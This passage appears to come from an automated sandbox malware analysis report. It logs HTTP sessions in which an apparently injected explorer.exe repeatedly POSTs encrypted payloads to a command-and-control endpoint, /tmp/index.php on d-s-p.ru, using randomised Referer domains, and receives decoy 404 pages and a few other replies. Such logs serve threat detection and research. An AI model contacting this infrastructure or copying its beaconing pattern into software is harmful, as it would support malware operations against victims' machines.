20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49912	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:18.178934097 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wluclgmelcx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: d-s-p.ru
Dec 30, 2024 19:43:18.178970098 CET	345	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 16 6b 2c 90 f5 76 0b 75 2a 5f b7 9b Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu*_ypkP#HjOy99eJ$)Hj3N)bKU~-Q\`''E+DzUe&~G`Ui$)C
Dec 30, 2024 19:43:19.668881893 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:19 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49923	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:19.677304983 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cskorkkrkwytkhtu.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: d-s-p.ru
Dec 30, 2024 19:43:19.677333117 CET	204	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 17 6b 2c 90 f5 76 0b 75 5c 2c bd aa Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu\,ul2J]<Vm0Ui{dB OM'Nt^$4~8W{&]Q7x1
Dec 30, 2024 19:43:21.135529041 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:20 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49931	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:21.144504070 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fghaoijaskpcuqs.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 186 Host: d-s-p.ru
Dec 30, 2024 19:43:21.144526005 CET	186	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 14 6b 2c 90 f5 76 0b 75 58 0a ae bf Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuX?eu1^</qh@=\| JVs9]\S}K*h"H4<kKtF
Dec 30, 2024 19:43:22.603473902 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:22 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49941	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:22.615523100 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ufwlknyimcdyhhff.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: d-s-p.ru
Dec 30, 2024 19:43:22.615537882 CET	320	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 15 6b 2c 90 f5 76 0b 75 65 31 e6 a8 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vue1gET\?'_A=;~Gi#aX1Y5p<LO;$F2+o<yYB">kwQ$f]lNLCIviK#-k
Dec 30, 2024 19:43:24.081443071 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:23 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49951	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:43:24.130783081 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jessdujhjjx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: d-s-p.ru
Dec 30, 2024 19:43:24.130805016 CET	142	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 2a 6b 2c 90 f5 76 0b 75 44 2c b9 9f Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[*k,vuD,]qypwj\|%>tY"ibvi)5:0QT
Dec 30, 2024 19:43:25.585412025 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:43:25 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 63 42 f3 31 04 ed f1 49 f6 9d ed e4 21 9b 23 9a e8 31 55 12 c3 89 9b c2 63 9a 3b 0d 16 Data Ascii: #\6cB1I!#1Uc;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50040	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:44:53.713500023 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hsmioefmqryctki.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 307 Host: d-s-p.ru
Dec 30, 2024 19:44:53.713531017 CET	307	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 2b 6b 2c 90 f5 76 0b 75 58 30 bd f1 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[+k,vuX0pF(8w, ` 4{AtX~S2Z*E05'i4N+aH >(YEtO)^Q[4su($YyD!h(1
Dec 30, 2024 19:44:55.486449957 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:44:54 GMT Content-Type: text/html; charset=utf-8 Connection: close
Dec 30, 2024 19:44:55.486623049 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:44:54 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50041	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:44:55.544118881 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mmcpyibdxwiwlos.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 240 Host: d-s-p.ru
Dec 30, 2024 19:44:55.544131994 CET	240	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 28 6b 2c 90 f5 76 0b 75 3a 34 bb ea Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[(k,vu:4g^PHtPD@?9ralH?)./.q,?.%F]BlY62]Vf~vDig^&h,
Dec 30, 2024 19:44:57.052090883 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:44:56 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50042	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:44:57.091011047 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bqqqwcluixvv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 313 Host: d-s-p.ru
Dec 30, 2024 19:44:57.091022015 CET	313	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 29 6b 2c 90 f5 76 0b 75 5a 29 eb fb Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[)k,vuZ)lh~x?M+L8gk@u)^>2V0]\.'b}uUI6!v~1'WRh-`.?f]o.2]#
Dec 30, 2024 19:44:58.529026031 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:44:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50043	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:44:58.550888062 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wojftrqpwndwmdu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: d-s-p.ru
Dec 30, 2024 19:44:58.551001072 CET	180	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 2e 6b 2c 90 f5 76 0b 75 28 0d ff 88 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[.k,vu(.hxtAY81b<#A?8tV" ((AH:pY\Q {[*7AWA
Dec 30, 2024 19:45:00.018645048 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:44:59 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50044	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:00.265769005 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rcluvmsnbxjmn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: d-s-p.ru
Dec 30, 2024 19:45:00.265805006 CET	317	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 2f 6b 2c 90 f5 76 0b 75 3d 20 e7 96 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[/k,vu= fNiugHgv5D+uL!^[S:I9}\|Y'p"OGrQ&-$H!@owwl\oc's
Dec 30, 2024 19:45:01.707154036 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:01 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50045	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:01.733808041 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://abpyxpuyjhta.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 182 Host: d-s-p.ru
Dec 30, 2024 19:45:01.733835936 CET	182	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 2c 6b 2c 90 f5 76 0b 75 37 37 cb bc Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[,k,vu77\|@NGR\|-H=Id!OzMnfAJMG%{K*c-Xcv>'h((
